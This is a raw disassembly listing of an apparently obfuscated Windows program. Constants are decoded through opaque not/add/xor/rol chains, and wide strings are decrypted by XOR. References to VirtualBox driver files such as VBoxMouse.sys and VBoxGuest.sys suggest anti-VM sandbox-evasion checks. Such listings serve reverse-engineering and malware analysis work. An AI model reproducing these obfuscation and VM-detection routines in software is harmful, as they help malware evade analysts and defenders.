xor r12d, 0x89b72c5e
rol r12d, 0x79
popf
pushf
not r12d
add r12d, 0xc4afb424
xor r12d, 0xf5395a0e
rol r12d, 0x1b
popf
pushf
not r12d
add r12d, 0x9ab8e7e5
xor r12d, 0xe59319fc
rol r12d, 0xfa
popf
xor r13w, r12w
mov word [rbp - 0x14], r13w
movzx r13d, word [rsp + 0x28]
xor r13w, r12w
mov word [rbp - 0x12], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp - 0x10], r13w
movzx r13d, word [rsp + 0x26]
xor r13w, r12w
mov word [rbp - 0xe], r13w
movzx r13d, word [rsp + 0x24]
xor r13w, r12w
mov word [rbp - 0xc], r13w
movzx r12d, word [rsp + 0x2a]
mov r13d, 0xa967c8bf
pushf
not r13d
add r13d, 0xcc7460bd
xor r13d, 0xd6d5a8fc
rol r13d, 0xd8
popf
pushf
not r13d
add r13d, 0xc883b0c6
xor r13d, 0xc68df786
rol r13d, 0x94
popf
xor r12w, r13w
mov word [rbp - 0xa], r12w
xor r15w, r13w
mov word [rbp - 8], r15w
xor r14w, r13w
mov word [rbp - 6], r14w
xor si, r13w
mov word [rbp - 4], si
xor di, r13w
mov word [rbp - 2], di
xor bx, r13w
mov word [rbp], bx
xor r11w, r13w
mov word [rbp + 2], r11w
xor r10w, r13w
mov word [rbp + 4], r10w
xor r9w, r13w
mov word [rbp + 6], r9w
xor r8w, r13w
mov word [rbp + 8], r8w
xor dx, r13w
mov word [rbp + 0xa], dx
xor cx, r13w
mov word [rbp + 0xc], cx
xor ax, r13w
mov word [rbp + 0xe], ax
xor eax, eax
mov word [rbp + 0x10], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x200], xmm1
lea rax, [rbp - 0x2e]
mov r8, 0xffffffffffffffff
push rax
pushf
mov eax, 0xed9e572e
pushf
not eax
add eax, 0x9c56bb2f
xor eax, 0xc09f54e0
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xddf1b1e8
xor eax, 0xda804060
rol eax, 0x95
popf
jmp 0x1402b04b1
inc r8
cmp word [rax + r8*2], 0
jne 0x1402b1dd0
push rax
pushf
mov eax, 0x7bbe433b
pushf
not eax
add eax, 0xa56d8708
xor eax, 0x9343298b
rol eax, 0x36
popf
pushf
not eax
add eax, 0xbd349413
xor eax, 0x965008e5
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xa953e91b
xor eax, 0xcda28c19
rol eax, 0x6e
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x67286430
pushf
not eax
add eax, 0xc76212c7
xor eax, 0xef9f47a9
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x897c7416
xor eax, 0x95bbb4d7
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x9d00286c
xor eax, 0xfd7e8282
rol eax, 0xec
popf
pushf
not eax
add eax, 0xe3c0218a
xor eax, 0xc63ace84
rol eax, 0xba
popf
jmp 0x1402b04b1
lea rdx, [rbp - 0x2e]
lea rcx, [rbp + 0x1f0]
call fcn.140226231
nop
mov ecx, 0xc01e0d26
pushf
not ecx
add ecx, 0xb296d47e
xor ecx, 0xd3f3ec1d
rol ecx, 0xb0
popf
pushf
not ecx
add ecx, 0xd0be5cf7
xor ecx, 0xe5743b6f
rol ecx, 0xa3
popf
mov dword [rsp + 0x40], ecx
mov word [rbp - 0x70], cx
mov eax, 0x30ba47ca
pushf
not eax
add eax, 0xf4b7f1cc
xor eax, 0xc3816c08
rol eax, 0x82
popf
pushf
not eax
add eax, 0xa19bd9b1
xor eax, 0xfc82c01c
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xa0e689ee
xor eax, 0xe6e2d778
rol eax, 0x76
popf
pushf
not eax
add eax, 0xa989c974
xor eax, 0xc1a7a176
rol eax, 0x7e
popf
mov word [rsp + 0x28], ax
mov eax, 0x27e849c6
pushf
not eax
add eax, 0xea68f0d7
xor eax, 0x8043ac1c
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x8d8ab045
xor eax, 0x98a38490
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xf495ff69
xor eax, 0xa1b9df92
rol eax, 0xfe
popf
mov word [rsp + 0x26], ax
lea r14d, [rcx + 0x2c]
movzx r15d, cx
movzx eax, word [str.driversVBoxMouse.sys]
xor ax, cx
mov word [rsp + 0x24], ax
movzx r12d, word [0x1400f851a]
xor r12w, cx
movzx edi, word [0x1400f851c]
xor di, cx
movzx ebx, word [0x1400f851e]
xor bx, cx
movzx r11d, word [0x1400f8520]
xor r11w, cx
movzx r10d, word [0x1400f8522]
xor r10w, cx
movzx r9d, word [0x1400f8524]
xor r9w, cx
movzx r8d, word [reloc.WS2_32.dll_WSAStartup]
xor r8w, cx
movzx edx, word [0x1400f8528]
xor dx, cx
movzx ecx, word [0x1400f852a]
xor cx, r15w
movzx eax, word [0x1400f852c]
xor ax, r15w
mov esi, 0xa30b2d35
pushf
not esi
add esi, 0xa8ce2bec
xor esi, 0xac2fca1a
rol esi, 0xa
popf
pushf
not esi
add esi, 0xcf7ff570
xor esi, 0xf144b347
rol esi, 0x4f
popf
pushf
not esi
add esi, 0xbe5e700b
xor esi, 0x85a1b4b0
rol esi, 0x3d
popf
pushf
not esi
add esi, 0xa737ae1f
xor esi, 0xdf308b4a
rol esi, 0xb9
popf
xor si, word [rsp + 0x40]
mov word [rbp - 0x6e], si
mov esi, 0x8bb18ac9
pushf
not esi
add esi, 0xe23da551
xor esi, 0xc35febf4
rol esi, 3
popf
pushf
not esi
add esi, 0x8789d4db
xor esi, 0xf1ed52b6
rol esi, 0x9f
popf
pushf
not esi
add esi, 0xcc0a112d
xor esi, 0xb72e8368
rol esi, 0x6f
popf
xor si, word [rsp + 0x40]
mov word [rbp - 0x6c], si
movzx r13d, word [rsp + 0x28]
mov esi, 0x7e60423f
pushf
not esi
add esi, 0xfb34d862
xor esi, 0xac98017b
rol esi, 0xfd
popf
pushf
not esi
add esi, 0xfc6c5793
xor esi, 0xdcd47b57
rol esi, 0xde
popf
pushf
not esi
add esi, 0xfb35620b
xor esi, 0xd387b20c
rol esi, 0x84
popf
xor r13w, si
mov word [rbp - 0x6a], r13w
mov r13d, 0x244283c1
pushf
not r13d
add r13d, 0x88bdb794
xor r13d, 0xf53ad806
rol r13d, 0x72
popf
pushf
not r13d
add r13d, 0x93de690b
xor r13d, 0xe48c20a3
rol r13d, 0x1c
popf
xor r13w, si
mov word [rbp - 0x68], r13w
mov esi, 0x2aaac2bc
pushf
not esi
add esi, 0xac850b54
xor esi, 0xd3c45c8b
rol esi, 0x68
popf
pushf
not esi
add esi, 0xf2c8b00a
xor esi, 0xe50f37f8
rol esi, 0x13
popf
pushf
not esi
add esi, 0xad15e542
xor esi, 0x8a9cdd64
rol esi, 0xb7
popf
xor si, word [rsp + 0x40]
mov word [rbp - 0x66], si
mov r13d, 0x252ac94e
pushf
not r13d
add r13d, 0xd04ac4ad
xor r13d, 0x81536bc8
rol r13d, 0x96
popf
pushf
not r13d
add r13d, 0xb4578767
xor r13d, 0xbd36b63a
rol r13d, 0x6d
popf
pushf
not r13d
add r13d, 0xcf03be1c
xor r13d, 0xc8375737
rol r13d, 0xf7
popf
pushf
not r13d
add r13d, 0xdb94afda
xor r13d, 0x87cd6de9
rol r13d, 0xcd
popf
xor r13w, r15w
mov word [rbp - 0x64], r13w
movzx esi, word [rsp + 0x26]
mov r13d, 0x1a71626d
pushf
not r13d
add r13d, 0xbfe86872
xor r13d, 0xbd8a4409
rol r13d, 0x66
popf
pushf
not r13d
add r13d, 0xe9a36046
xor r13d, 0xb10bdf2b
rol r13d, 0xf4
popf
pushf
not r13d
add r13d, 0x8bc240eb
xor r13d, 0x981e450e
rol r13d, 0x80
popf
pushf
not r13d
add r13d, 0xd306a0dd
xor r13d, 0xed67d288
rol r13d, 0xa9
popf
xor si, r13w
mov word [rbp - 0x62], si
mov esi, 0x1fb877ad
pushf
not esi
add esi, 0xbe163fe0
xor esi, 0xc28531e5
rol esi, 0x51
popf
pushf
not esi
add esi, 0xf30236db
xor esi, 0xff537d2a
rol esi, 0x82
popf
xor si, r13w
mov word [rbp - 0x60], si
mov esi, 0x47d303d3
pushf
not esi
add esi, 0xa1a4fdba
xor esi, 0xffb7aa46
rol esi, 0x92
popf
pushf
not esi
add esi, 0xde976418
xor esi, 0xcf814eee
rol esi, 1
popf
pushf
not esi
add esi, 0x9d25f432
xor esi, 0xddfafa91
rol esi, 0x1a
popf
xor si, r13w
mov word [rbp - 0x5e], si
mov esi, r14d
xor si, r13w
mov word [rbp - 0x5c], si
xor r14w, r13w
mov word [rbp - 0x5a], r14w
xor r15w, r13w
mov word [rbp - 0x58], r15w
movzx esi, word [rsp + 0x24]
xor si, r13w
mov word [rbp - 0x56], si
xor r12w, r13w
mov word [rbp - 0x54], r12w
xor di, r13w
mov word [rbp - 0x52], di
xor bx, r13w
mov word [rbp - 0x50], bx
xor r11w, r13w
mov word [rbp - 0x4e], r11w
xor r10w, r13w
mov word [rbp - 0x4c], r10w
xor r9w, r13w
mov word [rbp - 0x4a], r9w
xor r8w, r13w
mov word [rbp - 0x48], r8w
xor dx, r13w
mov word [rbp - 0x46], dx
xor cx, r13w
mov word [rbp - 0x44], cx
xor ax, r13w
mov word [rbp - 0x42], ax
xor eax, eax
mov word [rbp - 0x40], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x220], xmm1
lea rax, [rbp - 0x6e]
mov r8, 0xffffffffffffffff
push rax
pushf
mov eax, 0xb7a59253
pushf
not eax
add eax, 0xad5a43fc
xor eax, 0x948bfcb9
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x8a6bfeef
xor eax, 0xe0c9d2c5
rol eax, 0xc2
popf
jmp 0x1402b04b1
inc r8
cmp word [rax + r8*2], 0
jne 0x1402b23a3
push rax
pushf
mov eax, 0x69106ef4
pushf
not eax
add eax, 0xf12879aa
xor eax, 0x9b07e30b
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x97a5a679
xor eax, 0x9d3621b4
rol eax, 0x21
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x44a9cfe4
pushf
not eax
add eax, 0x9015cf61
xor eax, 0x99b34e0d
rol eax, 0xae
popf
pushf
not eax
add eax, 0xc7dd9b7d
xor eax, 0x9b60bfe2
rol eax, 0xda
popf
pushf
not eax
add eax, 0xe2381c61
xor eax, 0x938866b5
rol eax, 0x14
popf
pushf
not eax
add eax, 0xe241e165
xor eax, 0xadb7c595
rol eax, 0xaf
popf
jmp 0x1402b04b1
lea rdx, [rbp - 0x6e]
lea rcx, [rbp + 0x210]
call fcn.140226231
nop
mov r9d, 0xede0ec8
pushf
not r9d
add r9d, 0xf9ad73f3
xor r9d, 0xb06c047e
rol r9d, 0xe8
popf
pushf
not r9d
add r9d, 0x8697c66d
xor r9d, 0xe3367292
rol r9d, 0x3a
popf
mov word [rbp + 0x80], r9w
mov ecx, 0x8a9e2dc7
pushf
not ecx
add ecx, 0xd899b0ff
xor ecx, 0x887a7082
rol ecx, 0xf2
popf
pushf
not ecx
add ecx, 0xb322e11d
xor ecx, 0xe44bcdc5
rol ecx, 0x3c
popf
mov word [rsp + 0x28], cx
mov ecx, 0x24f0e277
pushf
not ecx
add ecx, 0xfb4781ff
xor ecx, 0xd46231ee
rol ecx, 0x60
popf
pushf
not ecx
add ecx, 0xb14b3e70
xor ecx, 0x9291f2bf
rol ecx, 0x8d
popf
pushf
not ecx
add ecx, 0xe11eff23
xor ecx, 0xf4c7d952
rol ecx, 0x9b
popf
mov word [rsp + 0x26], cx
mov word [rsp + 0x24], cx
mov word [rsp + 0x2a], cx
movzx eax, word [0x1400f8546]
xor ax, r9w
mov word [rsp + 0x44], ax
movzx eax, word [str.driversVBoxGuest.sys]
xor ax, r9w
mov word [rsp + 0x46], ax
movzx eax, word [0x1400f854a]
xor ax, r9w
mov word [rsp + 0x2c], ax
movzx eax, word [0x1400f854c]
xor ax, r9w
mov word [rsp + 0x2e], ax
movzx eax, word [0x1400f854e]
xor ax, r9w
mov word [rsp + 0x30], ax
movzx eax, word [0x1400f8550]
xor ax, r9w
mov word [rsp + 0x32], ax
movzx eax, word [0x1400f8552]
xor ax, r9w
mov word [rsp + 0x34], ax
movzx eax, word [0x1400f8554]
xor ax, r9w
mov word [rsp + 0x36], ax
movzx r13d, word [reloc.WS2_32.dll_WSAStartup]
xor r13w, r9w
mov word [rsp + 0x38], r13w
movzx r12d, word [0x1400f8558]
xor r12w, r9w
mov word [rsp + 0x3a], r12w
movzx r15d, word [0x1400f855a]
xor r15w, r9w
mov word [rsp + 0x3c], r15w
movzx r14d, word [0x1400f855c]
xor r14w, r9w
movzx esi, word [0x1400f855e]
xor si, r9w
movzx edi, word [0x1400f8560]
xor di, r9w
movzx ebx, word [0x1400f8562]
xor bx, r9w
movzx r11d, word [0x1400f8564]
xor r11w, r9w
movzx r10d, word [0x1400f8566]
xor r10w, r9w
movzx r9d, word [reloc.WS2_32.dll_WSAStartup]
xor r9w, 2
movzx r8d, word [reloc.WS2_32.dll_WSACleanup]
xor r8w, 2
movzx edx, word [0x1400f856c]
xor dx, 2
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
xor cx, 2
movzx eax, word [0x1400f8570]
xor ax, 2
mov r12d, 0x17801911
pushf
not r12d
add r12d, 0xf8442b52
xor r12d, 0xc89ea76b
rol r12d, 0x54
popf
pushf
not r12d
add r12d, 0xeb0dc710
xor r12d, 0x8fdb4164
rol r12d, 0x6a
popf
xor r12w, 2
mov word [rbp + 0x82], r12w
mov r15d, 0x435f3d91
pushf
not r15d
add r15d, 0xb17cb56b
xor r15d, 0xbca167e3
rol r15d, 0x7e
popf
pushf
not r15d
add r15d, 0xad62641e
xor r15d, 0xf8b360c3
rol r15d, 0x3f
popf
xor r15w, 2
mov word [rbp + 0x84], r15w
mov r12d, 0x458bdfa4
pushf
not r12d
add r12d, 0x8998fcce
xor r12d, 0x980c0397
rol r12d, 0x1c
popf
pushf
not r12d
add r12d, 0xc8b4250e
xor r12d, 0x9920e60d
rol r12d, 0xf1
popf
pushf
not r12d
add r12d, 0xa438780d
xor r12d, 0xb9d9f763
rol r12d, 0x7c
popf
movzx r13d, r12w
xor r13w, 2
mov word [rbp + 0x86], r13w
mov r15d, 0x12317a3d
pushf
not r15d
add r15d, 0xc969087d
xor r15d, 0xf5e31604
rol r15d, 0x46
popf
pushf
not r15d
add r15d, 0xcf346e05
xor r15d, 0xda8e9d3b
rol r15d, 0x19
popf
pushf
not r15d
add r15d, 0xc325298f
xor r15d, 0xda5fa897
rol r15d, 0xb7
popf
pushf
not r15d
add r15d, 0xd070968e
xor r15d, 0x81d898cd
rol r15d, 0x30
popf
xor r15w, word [rsp + 0x20]
mov word [rbp + 0x88], r15w
mov r15d, 0x62597908
pushf
not r15d
add r15d, 0xeeddced9
xor r15d, 0xa598945f
rol r15d, 0x86
popf
pushf
not r15d
add r15d, 0x8d52b450
xor r15d, 0x87d2a1b2
rol r15d, 0xfb
popf
pushf
not r15d
add r15d, 0xd989fb11
xor r15d, 0xa8c22350
rol r15d, 0x3f
popf
pushf
not r15d
add r15d, 0xe8552a6d
xor r15d, 0xe6790201
rol r15d, 0xe7
popf
xor r15w, word [rsp + 0x20]
mov word [rbp + 0x8a], r15w
mov r15d, 0xb68cad1
pushf
not r15d
add r15d, 0xff7c8eb3
xor r15d, 0xaa12331d
rol r15d, 0x59
popf
pushf
not r15d
add r15d, 0x9abbfdbe
xor r15d, 0x929c8053
rol r15d, 0x4c
popf
pushf
not r15d
add r15d, 0xfddb8f43
xor r15d, 0xf3dc6127
rol r15d, 0x11
popf
pushf
not r15d
add r15d, 0x988f00b2
xor r15d, 0x9e390974
rol r15d, 0x76
popf
xor r15w, word [rsp + 0x20]
mov word [rbp + 0x8c], r15w
movzx r13d, r12w
mov r15d, 0x52bce6fe
pushf
not r15d
add r15d, 0xa5af8de5
xor r15d, 0xe17f6c31
rol r15d, 0x29
popf
pushf
not r15d
add r15d, 0x8b69666c
xor r15d, 0xec3e6cb1
rol r15d, 0xc3
popf
pushf
not r15d
add r15d, 0xb27d2051
xor r15d, 0x930e62a4
rol r15d, 0xd4
popf
xor r13w, r15w
mov word [rbp + 0x8e], r13w
mov r12d, 0x2167a71a
pushf
not r12d
add r12d, 0x9a072440
xor r12d, 0x8bb3592b
rol r12d, 0xeb
popf
pushf
not r12d
add r12d, 0xfd583d61
xor r12d, 0xfdb4a7b9
rol r12d, 0x73
popf
pushf
not r12d
add r12d, 0xb6f1740b
xor r12d, 0xa2f047ef
rol r12d, 0x93
popf
xor r12w, r15w
mov word [rbp + 0x90], r12w
mov r15d, 0x20452353
pushf
not r15d
add r15d, 0x87c7528f
xor r15d, 0xf03e179a
rol r15d, 0x5b
popf
pushf
not r15d
add r15d, 0x8a5a96f7
xor r15d, 0xac13eae2
rol r15d, 0xb6
popf
pushf
not r15d
add r15d, 0xf47b0769
xor r15d, 0xdb14e49a
rol r15d, 0xe6
popf
pushf
not r15d
add r15d, 0xaaaa2a53
xor r15d, 0x86a46789
rol r15d, 0x8f
popf
xor r15w, 2
mov word [rbp + 0x92], r15w
mov r12d, 0x5d4df4e5
pushf
not r12d
add r12d, 0xafbb1854
xor r12d, 0xfa4c709e
rol r12d, 0xb4
popf
pushf
not r12d
add r12d, 0xd130c1b8
xor r12d, 0x92249fa2
rol r12d, 0xd5
popf
mov r15d, 0x7e09821d
pushf
not r15d
add r15d, 0xa19f4938
xor r15d, 0xc9f03098
rol r15d, 0xbc
popf
pushf
not r15d
add r15d, 0xbd402a22
xor r15d, 0x9579c157
rol r15d, 0xc1
popf
pushf
not r15d
add r15d, 0xcf0e25e2
xor r15d, 0x974a0de5
rol r15d, 0x4f
popf
xor r12w, r15w
mov word [rbp + 0x94], r12w
mov r13d, 0x98cd522a
pushf
not r13d
add r13d, 0xf0fd612c
xor r13d, 0xf26473b7
rol r13d, 0xd2
popf
pushf
not r13d
add r13d, 0xe87ede6a
xor r13d, 0xa7a6e522
rol r13d, 0x30
popf
pushf
not r13d
add r13d, 0xbb40776f
xor r13d, 0xeb062568
rol r13d, 0xc4
popf
xor r13w, r15w
mov word [rbp + 0x96], r13w
mov r13d, 0x49e7feca
pushf
not r13d
add r13d, 0xcd4934b0
xor r13d, 0xd710e38a
rol r13d, 0x59
popf
pushf
not r13d
add r13d, 0xb55659c1
xor r13d, 0xee377484
rol r13d, 0x66
popf
pushf
not r13d
add r13d, 0xe471b4d5
xor r13d, 0xddf2f118
rol r13d, 0x2c
popf
pushf
not r13d
add r13d, 0xf23167c1
xor r13d, 0xb41e21c0
rol r13d, 0xb3
popf
xor r13w, r15w
mov word [rbp + 0x98], r13w
mov r15d, 0x2b43513c
pushf
not r15d
add r15d, 0xab31b160
xor r15d, 0xf2972f8e
rol r15d, 0x48
popf
pushf
not r15d
add r15d, 0x9c9705b8
xor r15d, 0xa3475834
rol r15d, 0x42
popf
xor r15w, 2
mov word [rbp + 0x9a], r15w
mov r12d, 0xceb5f54e
pushf
not r12d
add r12d, 0xcecee09f
xor r12d, 0xd2ec8cd2
rol r12d, 0x61
popf
pushf
not r12d
add r12d, 0x8f5f1821
xor r12d, 0xfab6491b
rol r12d, 0xaa
popf
mov r15d, 0x46962d46
pushf
not r15d
add r15d, 0xe887b4a2
xor r15d, 0xc949deb9
rol r15d, 0xf6
popf
pushf
not r15d
add r15d, 0xfdb687a9
xor r15d, 0x871c5992
rol r15d, 0xe8
popf
xor r12w, r15w
mov word [rbp + 0x9c], r12w
movzx r13d, word [rsp + 0x28]
xor r13w, r15w
mov word [rbp + 0x9e], r13w
mov r12d, 0x951f0e40
pushf
not r12d
add r12d, 0xf97d7578
xor r12d, 0x967deca1
rol r12d, 0x28
popf
pushf
not r12d
add r12d, 0xdf7b444c
xor r12d, 0xbbd42d59
rol r12d, 0x71
popf
xor r12w, r15w
mov word [rbp + 0xa0], r12w
movzx r13d, word [rsp + 0x26]
mov r12d, r15d
xor r13w, r15w
mov word [rbp + 0xa2], r13w
mov r15d, 0x254a227b
pushf
not r15d
add r15d, 0xf9905f4e
xor r15d, 0xa48232b1
rol r15d, 0x11
popf
pushf
not r15d
add r15d, 0xae0f1527
xor r15d, 0x914830a6
rol r15d, 0x1d
popf
xor r15w, r12w
mov word [rbp + 0xa4], r15w
mov r15d, 0x8cdb874d
pushf
not r15d
add r15d, 0xc5a5c14c
xor r15d, 0x89b1b30c
rol r15d, 0xdc
popf
pushf
not r15d
add r15d, 0xe619153a
xor r15d, 0xc82e3a52
rol r15d, 0xf7
popf
pushf
not r15d
add r15d, 0xb6036b29
xor r15d, 0xc4276331
rol r15d, 0xb4
popf
pushf
not r15d
add r15d, 0xa84c4088
xor r15d, 0xb203619c
rol r15d, 0x89
popf
xor r15w, r12w
mov word [rbp + 0xa6], r15w
movzx r13d, word [rsp + 0x24]
xor r13w, r12w
mov word [rbp + 0xa8], r13w
mov r15d, 0x8a7d078f
pushf
not r15d
add r15d, 0xc862ea97
xor r15d, 0xf7d05a4f
rol r15d, 0xd5
popf
pushf
not r15d
add r15d, 0x9db2cad1
xor r15d, 0xd6b17ca2
rol r15d, 0x3e
popf
pushf
not r15d
add r15d, 0xbce6ec28
xor r15d, 0x9cfd9ac7
rol r15d, 0x46
popf
pushf
not r15d
add r15d, 0xfa217e24
xor r15d, 0xd1d3af7d
rol r15d, 0x7e
popf
xor r15w, r12w
mov word [rbp + 0xaa], r15w
movzx r13d, word [rsp + 0x2a]
xor r13w, r12w
mov word [rbp + 0xac], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp + 0xae], r13w
movzx r13d, word [rsp + 0x44]
xor r13w, r12w
mov word [rbp + 0xb0], r13w
movzx r13d, word [rsp + 0x46]
xor r13w, r12w
mov word [rbp + 0xb2], r13w
movzx r13d, word [rsp + 0x2c]
xor r13w, r12w
mov word [rbp + 0xb4], r13w
movzx r13d, word [rsp + 0x2e]
xor r13w, r12w
mov word [rbp + 0xb6], r13w
movzx r13d, word [rsp + 0x30]
xor r13w, r12w
mov word [rbp + 0xb8], r13w
movzx r13d, word [rsp + 0x32]
xor r13w, r12w
mov word [rbp + 0xba], r13w
movzx r13d, word [rsp + 0x34]
xor r13w, r12w
mov word [rbp + 0xbc], r13w
movzx r13d, word [rsp + 0x36]
xor r13w, r12w
mov word [rbp + 0xbe], r13w
movzx r13d, word [rsp + 0x38]
xor r13w, r12w
mov word [rbp + 0xc0], r13w
movzx r12d, word [rsp + 0x3a]
mov r13d, 0xf7a11b0d
pushf
not r13d
add r13d, 0xc426a6aa
xor r13d, 0xd8ed9103
rol r13d, 0xa0
popf
pushf
not r13d
add r13d, 0x9feffff0
xor r13d, 0xbd3b274a
rol r13d, 0xdb
popf
pushf
not r13d
add r13d, 0xab78dddb
xor r13d, 0xecefe046
rol r13d, 0x9b
popf
pushf
not r13d
add r13d, 0x8e0d9329
xor r13d, 0xac642a6c
rol r13d, 0x22
popf
xor r12w, r13w
mov word [rbp + 0xc2], r12w
movzx r15d, word [rsp + 0x3c]
xor r15w, r13w
mov word [rbp + 0xc4], r15w
xor r14w, r13w
mov word [rbp + 0xc6], r14w
xor si, r13w
mov word [rbp + 0xc8], si
xor di, r13w
mov word [rbp + 0xca], di
xor bx, r13w
mov word [rbp + 0xcc], bx
xor r11w, r13w
mov word [rbp + 0xce], r11w
xor r10w, r13w
mov word [rbp + 0xd0], r10w
xor r9w, r13w
mov word [rbp + 0xd2], r9w
xor r8w, r13w
mov word [rbp + 0xd4], r8w
xor dx, r13w
mov word [rbp + 0xd6], dx
xor cx, r13w
mov word [rbp + 0xd8], cx
xor ax, r13w
mov word [rbp + 0xda], ax
xor eax, eax
mov word [rbp + 0xdc], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x240], xmm1
lea rax, [rbp + 0x82]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
push rax
pushf
mov eax, 0x28af4061
pushf
not eax
add eax, 0xe64bd74f
xor eax, 0xa6dfc92b
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x8a6fa383
xor eax, 0x8e1727a8
rol eax, 0x19
popf
pushf
not eax
add eax, 0xd9be3e8b
xor eax, 0xd74b71e0
rol eax, 0x2c
popf
jmp 0x1402b04b1
inc r8
cmp word [rax + r8*2], 0
jne 0x1402b2ff2
push rax
pushf
mov eax, 0x37448420
pushf
not eax
add eax, 0xca78b0af
xor eax, 0xca4d7a29
rol eax, 0x59
popf
pushf
not eax
add eax, 0xb7ffa70d
xor eax, 0xa94cb45f
rol eax, 0x64
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x1356985f
pushf
not eax
add eax, 0xce667b46
xor eax, 0x86c4d9d5
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xe6f7092e
xor eax, 0xb31fd57a
rol eax, 0x31
popf
jmp 0x1402b04b1
lea rdx, [rbp + 0x82]
lea rcx, [rbp + 0x230]
call fcn.140226231
nop
mov edx, 0xe9fda01e
pushf
not edx
add edx, 0xa9295ac3
xor edx, 0x9628f081
rol edx, 0x5b
popf
pushf
not edx
add edx, 0xb3484626
xor edx, 0x8a02abd4
rol edx, 0x94
popf
mov dword [rsp + 0x20], edx
mov word [rbp + 0xe0], dx
mov eax, 0xe5b005ce
pushf
not eax
add eax, 0xe6bbce40
xor eax, 0x9e05d5e8
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xf7f465bb
xor eax, 0xf45b670b
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xe09ccca0
xor eax, 0x8651aeca
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xeacd12a7
xor eax, 0xbebb9128
rol eax, 0x4a
popf
mov ecx, 0x5cb847e5
pushf
not ecx
add ecx, 0xe22053d4
xor ecx, 0xaac587a3
rol ecx, 0xe5
popf
pushf
not ecx
add ecx, 0xb01cc413
xor ecx, 0x812466a1
rol ecx, 0xe5
popf
pushf
not ecx
add ecx, 0xe88a18fc
xor ecx, 0xae9e7f70
rol ecx, 0xa4
popf
mov word [rsp + 0x3c], ax
mov eax, 0x8457dcdf
pushf
not eax
add eax, 0x91c24cdb
xor eax, 0xe0ad8d3e
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xc4b4f283
xor eax, 0xd0d962bd
rol eax, 0x87
popf
mov word [rsp + 0x3a], ax
mov word [rsp + 0x38], cx
mov eax, 0xd1f59f98
pushf
not eax
add eax, 0xd989f6c5
xor eax, 0xfb86ef75
rol eax, 0x72
popf
pushf
not eax
add eax, 0xbf8600d2
xor eax, 0xcb67b4fc
rol eax, 0xff
popf
pushf
not eax
add eax, 0xa47b23c9
xor eax, 0xe4beec1d
rol eax, 0x63
popf
pushf
not eax
add eax, 0xf91b1945
xor eax, 0xa1152c88
rol eax, 0x24
popf
mov word [rsp + 0x36], ax
mov word [rsp + 0x34], ax
mov word [rsp + 0x32], ax
movzx eax, word [0x1400f8576]
xor ax, dx
mov word [rsp + 0x30], ax
movzx eax, word [str.drivers_vboxservice.sys]
xor ax, dx
mov word [rsp + 0x2e], ax
movzx eax, word [0x1400f857a]
xor ax, dx
mov word [rsp + 0x2c], ax
movzx eax, word [0x1400f857c]
xor ax, dx
mov word [rsp + 0x46], ax
movzx eax, word [0x1400f857e]
xor ax, dx
mov word [rsp + 0x44], ax
movzx eax, word [0x1400f8580]
xor ax, dx
mov word [rsp + 0x28], ax
movzx eax, word [0x1400f8582]
xor ax, dx
mov word [rsp + 0x26], ax
movzx eax, word [0x1400f8584]
xor ax, dx
mov word [rsp + 0x24], ax
movzx r13d, word [reloc.WS2_32.dll_WSAStartup]
xor r13w, dx
mov word [rsp + 0x2a], r13w
movzx r12d, word [0x1400f8588]
xor r12w, dx
mov word [rsp + 0x48], r12w
movzx r15d, word [0x1400f858a]
xor r15w, dx
movzx r14d, word [0x1400f858c]
xor r14w, dx
movzx esi, word [0x1400f858e]
xor si, dx
movzx edi, word [0x1400f8590]
xor di, dx
movzx ebx, word [reloc.WS2_32.dll_WSAStartup]
xor bx, dx
movzx r11d, word [0x1400f8594]
xor r11w, dx
movzx r10d, word [0x1400f8596]
xor r10w, dx
movzx r9d, word [0x1400f8598]
xor r9w, dx
movzx r8d, word [0x1400f859a]
xor r8w, dx
movzx edx, word [0x1400f859c]
xor dx, 0x28
movzx ecx, word [0x1400f859e]
xor cx, 0x28
movzx eax, word [0x1400f85a0]
xor ax, 0x28
mov r12d, 0x9c6c2d22
pushf
not r12d
add r12d, 0xb9348bc6
xor r12d, 0xf14db390
rol r12d, 0xd0
popf
pushf
not r12d
add r12d, 0xbab034d2
xor r12d, 0xa93aaec2
rol r12d, 0x74
popf
pushf
not r12d
add r12d, 0xbd35ceb9
xor r12d, 0xcc4f8a4a
rol r12d, 0xa7
popf
xor r12w, 0x28
mov word [rbp + 0xe2], r12w
mov r12d, 0xea0ef295
pushf
not r12d
add r12d, 0xc4cf4285
xor r12d, 0xe8d7cf8a
rol r12d, 0x82
popf
pushf
not r12d
add r12d, 0x83f644ed
xor r12d, 0xbbbe4358
rol r12d, 0xf1
popf
xor r12w, word [rsp + 0x20]
mov word [rbp + 0xe4], r12w
mov r13d, 0x65beda4e
pushf
not r13d
add r13d, 0xae3b3ffd
xor r13d, 0xedc671eb
rol r13d, 0xe6
popf
pushf
not r13d
add r13d, 0xe0b69bb9
xor r13d, 0x8d02d850
rol r13d, 0xbc
popf
pushf
not r13d
add r13d, 0x98423e52
xor r13d, 0x984f096a
rol r13d, 0xc0
popf
mov r12d, 0x26eb80a3
pushf
not r12d
